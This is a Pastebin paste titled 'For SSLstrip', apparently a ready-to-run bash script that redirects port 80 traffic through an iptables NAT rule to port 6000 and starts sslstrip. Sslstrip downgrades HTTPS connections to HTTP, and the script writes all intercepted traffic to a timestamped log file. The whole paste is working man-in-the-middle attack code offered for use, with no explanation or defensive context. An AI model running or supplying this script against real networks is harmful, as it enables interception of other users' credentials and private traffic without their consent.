Advertisement
D0cEvil

For SSLstrip

Sep 19th, 2022
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.31 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. iptables -t nat -L | grep 'REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:http redir ports 6000'
  3. if [ $? -ne 0 ];
  4. then
  5. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 6000
  6. fi
  7. d=`date +%G%m%d_%H%M%S`
  8. sslstrip -w $HOME/sslstrip_$d.log -a -l 6000
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement